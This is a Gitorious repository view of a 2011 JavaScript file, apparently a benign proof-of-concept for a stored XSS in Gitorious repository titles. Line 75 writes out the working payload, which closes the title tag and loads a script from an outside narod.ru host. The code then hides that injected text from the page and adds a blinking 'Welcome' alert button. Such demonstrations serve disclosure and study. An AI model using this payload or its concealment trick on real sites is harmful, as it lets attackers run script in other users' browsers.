typo fix
[advanced-hello-gitorious-xss-in-title:advanced-hello-gitorious-xss-in-title.git] / EXAMPLE.main.js
1 // Copyright (c) 2011 Andrej A Antonov
2 //
3 // Permission is hereby granted, free of charge, to any person obtaining a copy
4 // of this software and associated documentation files (the "Software"), to deal
5 // in the Software without restriction, including without limitation the rights
6 // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 // copies of the Software, and to permit persons to whom the Software is
8 // furnished to do so, subject to the following conditions:
9 //
10 // The above copyright notice and this permission notice shall be included in
11 // all copies or substantial portions of the Software.
12 //
13 // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 // THE SOFTWARE.
20
21 (function() {
22     'use strict'
23     
24     var html_ns = 'http://www.w3.org/1999/xhtml'
25     
26     var func_tools = {
27         args_array: function(raw_args) {
28             var args = []
29         
30             for(var i = 0; i < raw_args.length; ++i) {
31                 args.push(raw_args[i])
32             }
33             
34             return args
35         },
36         func_bind: function(func, this_arg) {
37             var args = this.args_array(arguments).slice(2)
38             
39             if(func.bind) {
40                 var bound = func.bind.apply(func, [this_arg].concat(args))
41                 
42                 return bound
43             } else {
44                 var self_module = this
45                 
46                 var bound = function() {
47                     var func_args = args.concat(self_module.args_array(arguments))
48                     var func_res = func.apply(this_arg, func_args)
49                     
50                     return func_res
51                 }
52                 
53                 return bound
54             }
55         },
56         list_iterate: function(l, iter) {
57             for(var i = 0; i < l.length; ++i) {
58                 var v = l[i];
59                 
60                 iter(i, v)
61             }
62         },
63         node_iterate: function(n, iter) {
64             for(var in_n = n.firstChild;
65                     in_n;
66                     in_n = in_n.nextSibling) {
67                 iter(in_n)
68             }
69         },
70     }
71     
72     function hide_xss() {
73         // *** HIDE XSS ***
74         
75         var search_for = 'Advanced Hello Gitorious XSS in Title </title><script src="http://super-tmp1.narod.ru/2011-02-20-15-04-advanced-hello-gitorious-xss-in-title/main.js"></script><title>'
76         var replace_to = 'Advanced Hello Gitorious XSS in Title [suspicious title is HIDED ;-)]'
77             
78         function recurse(node) {
79             try{
80                 if((node.nodeType == node.TEXT_NODE ||
81                         node.nodeType == node.CDATA_SECTION_NODE) &&
82                         !node.isElementContentWhitespace &&
83                         node.nodeValue == search_for) {
84                     node.nodeValue = replace_to
85                 } else if(node.nodeType == node.ELEMENT_NODE ||
86                         node.nodeType == node.DOCUMENT_NODE ||
87                         node.nodeType == node.FRAGMENT_NODE) {
88                     func_tools.node_iterate(node, function(in_node) {
89                         recurse(in_node)
90                     })
91                 }
92             } catch(e) {}
93         }
94         
95         recurse(document)
96     }
97     
98     function run_blink_border_style(elem) {
99         function next_byte() {
100             var b = parseInt(Math.random()*256.0)
101             
102             return b
103         }
104         
105         function frame() {
106             var red = next_byte()
107             var green = next_byte()
108             var blue = next_byte()
109             
110             elem.style.border =
111                     '3px solid rgb(' + red + ',' + green + ',' + blue + ')'
112             
113             setTimeout(frame, 100)
114         }
115         
116         frame()
117     }
118     
119     function show_advanced_menu() {
120         // *** SHOW ADVANCED MENU ***
121         
122         var repo_div = document.getElementById('repositories')
123         
124         if(repo_div) {
125             var menu_item_button = document.createElementNS(html_ns, 'input')
126             
127             menu_item_button.type = 'button'
128             menu_item_button.value = 'Show XSS Welcome Message!'
129             menu_item_button.addEventListener('click', function(evt) {
130                 alert('Welcome!')
131             }, false)
132             
133             var menu_div = document.createElementNS(html_ns, 'div')
134             
135             menu_div.style.margin = '1em'
136             menu_div.style.padding = '0.5em'
137             menu_div.style.MozBorderRadius = '0.5em'
138             menu_div.style.borderRadius = '0.5em'
139             run_blink_border_style(menu_div)
140             
141             menu_div.appendChild(menu_item_button)
142             
143             if(repo_div.firstChild) {
144                 repo_div.insertBefore(menu_div, repo_div.firstChild)
145             } else {
146                 repo_div.appendChild(menu_div)
147             }
148         }
149     }
150     
151     function xss_bootstrap() {
152         hide_xss()
153         show_advanced_menu()
154     }
155     
156     function main(evt) {
157         xss_bootstrap()
158     }
159     
160     addEventListener('load', main, false)
161 })()
162